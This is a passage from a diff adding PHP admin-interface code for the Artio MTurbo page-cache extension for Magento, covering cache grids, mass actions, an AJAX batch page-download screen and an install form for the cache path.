+ return parent::_prepareCollection();
54
+
55
+ }
56
+
57
+ protected function _afterLoadCollection() {
58
+
59
+ foreach ($this->getCollection() as $model) {
60
+ $model->checkExist();
61
+ }
62
+
63
+ }
64
+
65
+ protected function _prepareColumns() {
66
+
67
+ $this->addColumn('mturbo_id', array(
68
+ 'header' => Mage::helper('mturbo')->__('ID'),
69
+ 'align' =>'right',
70
+ 'width' => '50px',
71
+ 'index' => 'mturbo_id',
72
+ ));
73
+
74
+ if (!Mage::app()->isSingleStoreMode()) {
75
+ $this->addColumn('store_id', array(
76
+ 'header' => $this->__('Store View'),
77
+ 'width' => '200px',
78
+ 'index' => 'store_id',
79
+ 'type' => 'store',
80
+ 'store_view' => true,
81
+ ));
82
+ }
83
+
84
+ $this->addColumn('url', array(
85
+ 'header' => Mage::helper('mturbo')->__('Request path'),
86
+ 'align' =>'left',
87
+ 'index' => 'request_path',
88
+ ));
89
+
90
+ $this->addColumn('exist', array(
91
+ 'header' => Mage::helper('mturbo')->__('Cached'),
92
+ 'align' =>'left',
93
+ 'type' => 'select',
94
+ 'index' => 'exist',
95
+ 'filter' => false,
96
+ 'sortable' => false,
97
+ 'renderer' => new Artio_MTurbo_Block_Data_Grid_Column_Blocked(),
98
+ 'options' => array(
99
+ 1 => Mage::helper('mturbo')->__('Not cached'),
100
+ 0 => Mage::helper('mturbo')->__('Cached')
101
+ )
102
+ ));
103
+
104
+ $this->addColumn('last_refresh', array(
105
+ 'header' => Mage::helper('mturbo')->__('Last refresh'),
106
+ 'align' =>'left',
107
+ 'type' => 'datetime',
108
+ 'index' => 'last_refresh',
109
+ 'filter' => false,
110
+ 'sortable' => false
111
+ ));
112
+
113
+ $this->addColumn('blocked', array(
114
+ 'header' => Mage::helper('mturbo')->__('Status'),
115
+ 'align' => 'center',
116
+ 'width' => '80px',
117
+ 'index' => 'blocked',
118
+ 'type' => 'options',
119
+ 'renderer' => new Artio_MTurbo_Block_Data_Grid_Column_Blocked(),
120
+ 'options' => array(
121
+ 0 => Mage::helper('mturbo')->__('Not blocked'),
122
+ 1 => Mage::helper('mturbo')->__('Blocked')
123
+ ),
124
+ ));
125
+
126
+ $this->addColumn('action2',
127
+ array(
128
+ 'header' => Mage::helper('mturbo')->__('Cache'),
129
+ 'width' => '50px',
130
+ 'type' => 'action',
131
+ 'getter' => 'getId',
132
+ 'actions' => array(
133
+ array(
134
+ 'caption' => Mage::helper('mturbo')->__('Cache'),
135
+ 'url' => array(
136
+ 'base'=>'*/*/refresh',
137
+ ),
138
+ 'field' => 'id'
139
+ )
140
+ ),
141
+ 'filter' => false,
142
+ 'sortable' => false,
143
+ ));
144
+
145
+ return parent::_prepareColumns();
146
+ }
147
+
148
+ protected function _prepareMassaction() {
149
+
150
+ $this->setMassactionIdField('mturbo_id');
151
+ $this->getMassactionBlock()->setTemplate('mturbo/massaction.phtml');
152
+ $this->getMassactionBlock()->setFormFieldName('mturbo');
153
+
154
+ /* $this->getMassactionBlock()->addItem('refresh', array(
155
+ 'label' => Mage::helper('mturbo')->__('Refresh'),
156
+ 'url' => $this->getUrl('*//**//*massRefresh')
157
+ ));*/
158
+
159
+ $this->getMassactionBlock()->addItem('block', array(
160
+ 'label' => Mage::helper('mturbo')->__('Block'),
161
+ 'url' => $this->getUrl('*/*/massBlock')
162
+ ));
163
+
164
+ $this->getMassactionBlock()->addItem('unblock', array(
165
+ 'label' => Mage::helper('mturbo')->__('Unblock'),
166
+ 'url' => $this->getUrl('*/*/massUnblock')
167
+ ));
168
+
169
+ $this->getMassactionBlock()->addItem('delete', array(
170
+ 'label' => Mage::helper('mturbo')->__('Delete'),
171
+ 'url' => $this->getUrl('*/*/massDelete'),
172
+ 'confirm' => Mage::helper('mturbo')->__('Are you sure?')
173
+ ));
174
+
175
+ return $this;
176
+ }
177
+
178
+ public function getMainButtonsHtml()
179
+ {
180
+ $html = '';
181
+ if($this->getFilterVisibility()){
182
+ //$html.= '<span>'.Mage::helper('mturbo')->__('Before synchronization must be configuration saved').'</span>';
183
+ $html.= Mage::getSingleton('core/layout')
184
+ ->createBlock('adminhtml/widget_button', '', array(
185
+ 'label' => Mage::helper('mturbo')->__('Cache selected pages'),
186
+ 'type' => 'button',
187
+ 'onclick' => $this->_getOnClickScript()
188
+ ))->toHtml();
189
+ $html.= '<input type="hidden" name="massrefresh" id="massrefresh" value="" />';
190
+ $html.= $this->getResetFilterButtonHtml();
191
+ $html.= $this->getSearchButtonHtml();
192
+ }
193
+ return $html;
194
+ }
195
+
196
+ private function _getOnClickScript() {
197
+ return "this.form.target='_blank';
198
+ $('massrefresh').value = url_section_massactionJsObject.checkedString;
199
+ this.form.action = '".Mage::helper('adminhtml')->getUrl('*/*/massRefresh')."';
200
+ this.form.submit();
201
+ this.form.target='_self';
202
+ this.form.action = '".Mage::helper('adminhtml')->getUrl('*/*/index')."';
203
+ this.form.submit();";
204
+ }
205
+
206
+ public function getRowUrl($row)
207
+ {
208
+ //return $this->getUrl('*/*/edit', array('id' => $row->getId()));
209
+ }
210
+
211
+ /**
212
+ * Prepare label for tab
213
+ *
214
+ * @return string
215
+ */
216
+ public function getTabLabel()
217
+ {
218
+ return Mage::helper('mturbo')->__('Url');
219
+ }
220
+
221
+ /**
222
+ * Prepare title for tab
223
+ *
224
+ * @return string
225
+ */
226
+ public function getTabTitle()
227
+ {
228
+ return Mage::helper('mturbo')->__('Url');
229
+ }
230
+
231
+ /**
232
+ * Returns status flag about this tab can be shown or not
233
+ *
234
+ * @return true
235
+ */
236
+ public function canShowTab()
237
+ {
238
+ return true;
239
+ }
240
+
241
+ /**
242
+ * Returns status flag about this tab hidden or not
243
+ *
244
+ * @return true
245
+ */
246
+ public function isHidden()
247
+ {
248
+ return false;
249
+ }
250
+
251
+ }
app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tabs.php ADDED
@@ -0,0 +1,63 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ /**
28
+ * Admin page left menu
29
+ *
30
+ * @category Artio
31
+ * @package Artio_MTurbo
32
+ * @author Artio Magento Team <info@artio.net>
33
+ */
34
+ class Artio_MTurbo_Block_Adminhtml_Edit_Tabs extends Mage_Adminhtml_Block_Widget_Tabs
35
+ {
36
+
37
+ private $activeTab = '';
38
+
39
+ public function __construct()
40
+ {
41
+ parent::__construct();
42
+ $this->setId('page_tabs');
43
+ $this->setDestElementId('edit_form');
44
+ $this->setTitle(Mage::helper('mturbo')->__('Menu'));
45
+
46
+ $request = Mage::getModel('core/url')->getRequest();
47
+ $this->activeTab = $request->getParam('activeTab');
48
+
49
+ $formKey = $request->getParam('form_key');
50
+ if (!empty($formKey)) $this->activeTab = '';
51
+
52
+ }
53
+
54
+ public function addTab($tabId, $tab) {
55
+ parent::addTab($tabId, $tab);
56
+
57
+ if ($this->getId().'_'.$tabId == $this->activeTab) {
58
+ $this->setActiveTab($tabId);
59
+ }
60
+
61
+ }
62
+
63
+ }
app/code/local/Artio/MTurbo/Block/Adminhtml/Mturbo.php ADDED
@@ -0,0 +1,64 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+ class Artio_MTurbo_Block_Adminhtml_MTurbo extends Mage_Adminhtml_Block_Widget_Form_Container
27
+ {
28
+
29
+ public function __construct()
30
+ {
31
+ $this->_objectId = 'page_id';
32
+ $this->_blockGroup = 'mturbo';
33
+ $this->_controller = 'adminhtml';
34
+
35
+ parent::__construct();
36
+
37
+ $this->_removeButton('reset');
38
+ $this->_removeButton('back');
39
+ $this->_updateButton('save', 'label', Mage::helper('mturbo')->__('Save configuration'));
40
+ $this->_addButton('upgrade', array(
41
+ 'label' => Mage::helper('mturbo')->__('Upgrade to Full Version'),
42
+ 'onclick' => "setLocation('" . Mage::helper('adminhtml')->getUrl('*/*/upgrade') . "')"), -1);
43
+
44
+ }
45
+
46
+ /**
47
+ * Retrieve text for header element depending on loaded page
48
+ *
49
+ * @return string
50
+ */
51
+ public function getHeaderText() {
52
+ return Mage::helper('mturbo')->__('M-Turbo Cache Management');
53
+ }
54
+
55
+ /**
56
+ * Check permission for passed action
57
+ *
58
+ * @param string $action
59
+ * @return bool
60
+ */
61
+ protected function _isAllowedAction($action) {
62
+ return Mage::getSingleton('admin/session')->isAllowed('cms/page/' . $action);
63
+ }
64
+ }
app/code/local/Artio/MTurbo/Block/Adminhtml/Run.php ADDED
@@ -0,0 +1,296 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+ class Artio_MTurbo_Block_Adminhtml_Run extends Mage_Adminhtml_Block_Abstract
27
+ {
28
+
29
+ private $_importIds;
30
+
31
+ public function setImportIds($importIds) {
32
+ $this->_importIds = (is_array($importIds)) ? $importIds : explode(",", $importIds);
33
+ return $this;
34
+ }
35
+
36
+ public function isSetImportIds() {
37
+ return (!empty($this->_importIds));
38
+ }
39
+
40
+ public function getImportIds() {
41
+ return $this->_importIds;
42
+ }
43
+
44
+ protected function _toHtml() {
45
+
46
+ //$profile = $this->getProfile();
47
+
48
+ echo '<html>';
49
+
50
+ echo '<head>';
51
+ echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>';
52
+ echo '<script type="text/javascript">var FORM_KEY = "'.Mage::getSingleton('core/session')->getFormKey().'";</script>';
53
+ echo $this->_getCssJsHtml();
54
+ echo '<title>'.Mage::helper('mturbo')->__('Turbo Cache Management - Downloading pages').'</title>';
55
+ echo '</head>';
56
+
57
+ echo '<body>';
58
+
59
+
60
+
61
+ echo '<ul>';
62
+ echo '<li>';
63
+ echo '<img src="'.Mage::getDesign()->getSkinUrl('images/note_msg_icon.gif').'" class="v-middle" style="margin-right:5px"/>';
64
+ echo $this->__("Starting download pages, please wait...");
65
+ echo '</li>';
66
+ echo '<li style="background-color:#FFD;">';
67
+ echo '<img src="'.Mage::getDesign()->getSkinUrl('images/fam_bullet_error.gif').'" class="v-middle" style="margin-right:5px"/>';
68
+ echo $this->__("Warning: Please don't close window during downloading pages");
69
+ echo '</li>';
70
+ echo '</ul>';
71
+
72
+ echo '<ul>';
73
+ echo '<li id="liFinished" style="display:none;">';
74
+ echo '<img src="'.Mage::getDesign()->getSkinUrl('images/note_msg_icon.gif').'" class="v-middle" style="margin-right:5px"/>';
75
+ echo $this->__("Finished downloading.");
76
+ echo '</li>';
77
+
78
+ echo '</ul>';
79
+
80
+ $showFinished = true;
81
+
82
+ $importIds = ($this->isSetImportIds()) ?
83
+ $this->getImportIds() :
84
+ Mage::getModel('mturbo/mturbo')->getCollection()->getAllIds();
85
+
86
+ if (count($importIds)>0) {
87
+
88
+ $showFinished = false;
89
+ $countItems = count($importIds);
90
+
91
+ $batchConfig = array(
92
+ 'styles' => array(
93
+ 'error' => array(
94
+ 'icon' => Mage::getDesign()->getSkinUrl('images/error_msg_icon.gif'),
95
+ 'bg' => '#FDD'),
96
+ 'message' => array(
97
+ 'icon' => Mage::getDesign()->getSkinUrl('images/fam_bullet_success.gif'),
98
+ 'bg' => '#DDF'),
99
+ 'loader' => Mage::getDesign()->getSkinUrl('images/ajax-loader.gif')),
100
+ 'template' => '<li style="#{style}" id="#{id}">'
101
+ . '<img id="#{id}_img" src="#{image}" class="v-middle" style="margin-right:5px"/>'
102
+ . '<span id="#{id}_status" class="text">#{text}</span>'
103
+ . '</li>',
104
+ 'text' => $this->__('Processed <strong>%s%% %s/%d</strong> pages', '#{percent}', '#{updated}', $countItems),
105
+ 'successText' => $this->__('Downloaded <strong>%s</strong> pages', '#{updated}')
106
+ );
107
+
108
+
109
+ echo $this->_getAjaxScript($batchConfig, $countItems);
110
+
111
+
112
+ foreach ($importIds as $id) {
113
+ $data = array( 'batch_id' => $id, 'rows[]' => $id );
114
+ echo '<script type="text/javascript">addImportData('.Zend_Json::encode($data).')</script>';
115
+ }
116
+
117
+ echo '<script type="text/javascript">execImportData()</script>';
118
+
119
+ }
120
+
121
+ if ($showFinished) {
122
+ echo "<script type=\"text/javascript\">$('liFinished').show();</script>";
123
+ }
124
+
125
+ echo '</body>';
126
+ echo '<html>';
127
+
128
+ }
129
+
130
+ private function _getCssJsHtml() {
131
+
132
+ $headBlock = $this->getLayout()->createBlock('page/html_head');
133
+ $headBlock->addJs('prototype/prototype.js');
134
+ $headBlock->addJs('mage/adminhtml/loader.js');
135
+ echo $headBlock->getCssJsHtml() . $this->_getMyCssHtml();
136
+
137
+ }
138
+
139
+ private function _getMyCssHtml() {
140
+ return '<style type="text/css">
141
+ ul { list-style-type:none; padding:0; margin:0; }
142
+ li { margin-left:0; border:1px solid #ccc; margin:2px; padding:2px 2px 2px 2px; font:normal 12px sans-serif; }
143
+ img { margin-right:5px; }
144
+ </style>';
145
+ }
146
+
147
+ private function _getAjaxScript($batchConfig, $countItems) {
148
+ return '
149
+
150
+ <script type="text/javascript">
151
+ var countOfStartedProfiles = 0;
152
+ var countOfUpdated = 0;
153
+ var countOfError = 0;
154
+ var importData = [];
155
+ var totalRecords = ' . $countItems . ';
156
+ var config= '.Zend_Json::encode($batchConfig).';
157
+ </script>
158
+
159
+ <script type="text/javascript">
160
+
161
+ function addImportData(data) {
162
+ importData.push(data);
163
+ }
164
+
165
+ function execImportData() {
166
+
167
+ if (importData.length == 0) {
168
+ $("updatedRows_img").src = config.styles.message.icon;
169
+ $("updatedRows").style.backgroundColor = config.styles.message.bg;
170
+ Element.insert($("liFinished"), {before: config.tpl.evaluate({
171
+ style: "background-color:"+config.styles.message.bg,
172
+ image: config.styles.message.icon,
173
+ text: config.tplSccTxt.evaluate({updated:(countOfUpdated-countOfError)}),
174
+ id: "updatedFinish"
175
+ })});
176
+
177
+ if ($("liBeforeFinish")) {
178
+ Element.insert($("liFinished"), {before: $("liBeforeFinish")});
179
+ $("liBeforeFinish").show();
180
+ }
181
+
182
+ new Ajax.Request("' .$this->_getBatchFinishUrl().'", {
183
+ method: "post",
184
+ parameters: {form_key: FORM_KEY},
185
+
186
+ onComplete: function(transport) {
187
+ if (transport.responseText.isJSON()) {
188
+ var response = transport.responseText.evalJSON();
189
+ if (response.error) {
190
+ Element.insert($("liFinished"), {before: config.tpl.evaluate({
191
+ style: "background-color:"+config.styles.error.bg,
192
+ image: config.styles.error.icon,
193
+ text: response.error.escapeHTML(),
194
+ id: "error-finish"
195
+ })});
196
+ }
197
+ }
198
+
199
+ if ($("before-finish-wait-img")) {
200
+ $("before-finish-wait-img").hide();
201
+ }
202
+
203
+ $(\'liFinished\').show();
204
+ }
205
+ });
206
+
207
+ } else {
208
+ sendImportData(importData.shift());
209
+ }
210
+ }
211
+
212
+ function sendImportData(data) {
213
+
214
+ if (!config.tpl) {
215
+ config.tpl = new Template(config.template);
216
+ config.tplTxt = new Template(config.text);
217
+ config.tplSccTxt = new Template(config.successText);
218
+ }
219
+
220
+ if (!$("updatedRows")) {
221
+ Element.insert($("liFinished"), {before: config.tpl.evaluate({
222
+ style: "background-color: #FFD;",
223
+ image: config.styles.loader,
224
+ text: config.tplTxt.evaluate({updated:countOfUpdated, percent:getPercent()}),
225
+ id: "updatedRows"
226
+ })});
227
+ }
228
+
229
+ countOfStartedProfiles++;
230
+ if (!data.form_key) {
231
+ data.form_key = FORM_KEY;
232
+ }
233
+
234
+ new Ajax.Request("'.$this->_getBatchRunUrl().'", {
235
+ method: "post",
236
+ parameters: data,
237
+ onSuccess: function(transport) {
238
+ countOfStartedProfiles --;
239
+ countOfUpdated ++;
240
+ if (transport.responseText.isJSON()) {
241
+ addProfileRow(transport.responseText.evalJSON());
242
+ } else {
243
+ Element.insert($("updatedRows"), {before: config.tpl.evaluate({
244
+ style: "background-color:"+config.styles.error.bg,
245
+ image: config.styles.error.icon,
246
+ text: transport.responseText.escapeHTML(),
247
+ id: "error-" + countOfStartedProfiles
248
+ })});
249
+ countOfError ++;
250
+ }
251
+ execImportData();
252
+ }
253
+ });
254
+ }
255
+
256
+ function getPercent() {
257
+ return Math.ceil((countOfUpdated/totalRecords)*1000)/10;
258
+ }
259
+
260
+ function addProfileRow(data) {
261
+ if (data.errors.length > 0) {
262
+ for (var i=0, length=data.errors.length; i<length; i++) {
263
+ Element.insert($("updatedRows"), {before: config.tpl.evaluate({
264
+ style: "background-color:"+config.styles.error.bg,
265
+ image: config.styles.error.icon,
266
+ text: data.errors[i],
267
+ id: "id-" + (countOfUpdated + i + 1)
268
+ })});
269
+ countOfError ++;
270
+ }
271
+ }
272
+ if (data.messages.length > 0) {
273
+ for (var i=0, length=data.messages.length; i<length; i++) {
274
+ Element.insert($("updatedRows"), {before: config.tpl.evaluate({
275
+ style: "background-color:"+config.styles.message.bg,
276
+ image: config.styles.message.icon,
277
+ text: data.messages[i],
278
+ id: "id-" + (countOfUpdated + i + 1)
279
+ })});
280
+ }
281
+ }
282
+ $("updatedRows_status").update(config.tplTxt.evaluate({updated:countOfUpdated, percent:getPercent()}));
283
+ }
284
+ </script>';
285
+
286
+ }
287
+
288
+ private function _getBatchFinishUrl() {
289
+ return $this->getUrl('*/*/downloadFinish'/*, array('id' => $batchModel->getId())*/);
290
+ }
291
+
292
+ private function _getBatchRunUrl() {
293
+ return $this->getUrl('*/*/downloadRun');
294
+ }
295
+
296
+ }
app/code/local/Artio/MTurbo/Block/Adminhtml/Welcome.php ADDED
@@ -0,0 +1,57 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+ class Artio_MTurbo_Block_Adminhtml_Welcome extends Mage_Adminhtml_Block_Widget_Form_Container
27
+ {
28
+
29
+ public function __construct() {
30
+
31
+ $this->_objectId = 'page_id';
32
+ $this->_blockGroup = 'mturbo';
33
+ $this->_controller = 'adminhtml';
34
+ $this->_mode = 'welcome';
35
+
36
+ parent::__construct();
37
+
38
+ $this->_removeButton('reset');
39
+ $this->_removeButton('back');
40
+ $this->_removeButton('save');
41
+
42
+ }
43
+
44
+ /**
45
+ * Retrieve text for header element depending on loaded page
46
+ *
47
+ * @return string
48
+ */
49
+ public function getHeaderText() {
50
+ return Mage::helper('mturbo')->__('Magento Turbo Cache Management');
51
+ }
52
+
53
+ protected function _afterToHtml($html) {
54
+ return '<div style="width:50%;margin:0 auto;font-weight:bold;">'.$html.'</div>';
55
+ }
56
+
57
+ }
app/code/local/Artio/MTurbo/Block/Adminhtml/Welcome/Form.php ADDED
@@ -0,0 +1,105 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+
28
+ /**
29
+ * Adminhtml cms block edit form
30
+ *
31
+ * @category Artio
32
+ * @package Artio_MTurbo
33
+ * @author Artio <info@artio.net>
34
+ */
35
+ class Artio_MTurbo_Block_Adminhtml_Welcome_Form extends Mage_Adminhtml_Block_Widget_Form
36
+ {
37
+
38
+ protected function _prepareForm() {
39
+
40
+ $form = new Varien_Data_Form(array(
41
+ 'name'=>'welcome_form',
42
+ 'id' => 'welcome_form',
43
+ 'action' => Mage::helper('adminhtml')->getUrl('*/*/install'),
44
+ 'method' => 'post'));
45
+
46
+ $form->setUseContainer(true);
47
+
48
+ $layoutFieldset = $form->addFieldset('general_fieldset', array(
49
+ 'legend' => Mage::helper('mturbo')->__('Your first options'),
50
+ 'class' => 'fieldset',
51
+ ));
52
+
53
+ $layoutFieldset->addField('turbopath', 'text', array(
54
+ 'name' => 'turbopath',
55
+ 'label' => Mage::helper('mturbo')->__('Cache Path').':',
56
+ 'value' => 'var/turbocache'
57
+ ));
58
+
59
+ $form->addType('widget_button', Artio_MTurbo_Helper_Data::FORM_WIDGET_BUTTON);
60
+ $form->addField('install_button', 'widget_button', array(
61
+ 'name' => 'install_button',
62
+ 'label' => Mage::helper('mturbo')->__('Save and Install'),
63
+ 'onclick' => "welcome_form.submit()",
64
+ 'style' => "text-align:right;"
65
+ ));
66
+
67
+ $this->setForm($form);
68
+
69
+ return parent::_prepareForm();
70
+ }
71
+
72
+ protected function _afterToHtml($html) {
73
+
74
+ if (Mage::helper('mturbo/info')->getRegName()) {
75
+
76
+ if (Artio_MTurbo_Helper_Checker::checkPermission()) {
77
+ $html = $this->_getOkText() . $html;
78
+ } else {
79
+ $html = $this->_wrapErrorDiv(Mage::helper('mturbo')->__("I can't write to .htaccess, please change permission."));
80
+ }
81
+
82
+ } else {
83
+ $html = $this->_wrapErrorDiv( Mage::helper('mturbo')->__('No file is decoded. Probably, your licence is not loaded on server.') );
84
+ }
85
+
86
+ return $html;
87
+ }
88
+
89
+ private function _getOkText() {
90
+ $text = Mage::helper('mturbo')->__('Welcome to M-Turbo Cache developed by Artio.
91
+ To complete installation, we need to have entered the path to your directory where you want to store cached pages.
92
+ This path is then entered into a .htaccess file, which is a function of the components necessary.');
93
+ return $this->_wrapInfoDiv($text);
94
+ }
95
+
96
+ private function _wrapErrorDiv($error) {
97
+ return '<div style="margin-bottom:10px;padding:10px;background:#E06060;border:1px solid #802020">'.$error.'</div>';
98
+ }
99
+
100
+ private function _wrapInfoDiv($text) {
101
+ return '<div style="margin-bottom:10px;padding:10px;">'.$text.'</div>';
102
+ }
103
+
104
+
105
+ }
app/code/local/Artio/MTurbo/Block/Data/Form/Element/Button.php ADDED
@@ -0,0 +1,71 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Varien
22
+ * @package Varien_Data
23
+ * @copyright Copyright (c) 2008 Irubin Consulting Inc. DBA Varien (http://www.varien.com)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+ /**
28
+ * Form button element
29
+ *
30
+ * @category Artio
31
+ * @package Artio_MTurbo
32
+ * @author Artio Magento Team <info@artio.net>
33
+ */
34
+ class Artio_MTurbo_Block_Data_Form_Element_Button extends Varien_Data_Form_Element_Abstract
35
+ {
36
+
37
+ private $label;
38
+ private $onclick;
39
+ private $comment;
40
+ private $style;
41
+
42
+ public function __construct($attributes=array())
43
+ {
44
+ parent::__construct($attributes);
45
+ if (array_key_exists('label', $attributes)) $this->label = $attributes['label'];
46
+ if (array_key_exists('onclick', $attributes)) $this->onclick = $attributes['onclick'];
47
+ if (array_key_exists('comment', $attributes)) $this->comment = $attributes['comment'];
48
+ if (array_key_exists('style', $attributes)) $this->style = $attributes['style'];
49
+ }
50
+
51
+ /**
52
+ * @see Varien_Data_Form_Element_Abstract::getHtml()
53
+ *
54
+ * @return unknown
55
+ */
56
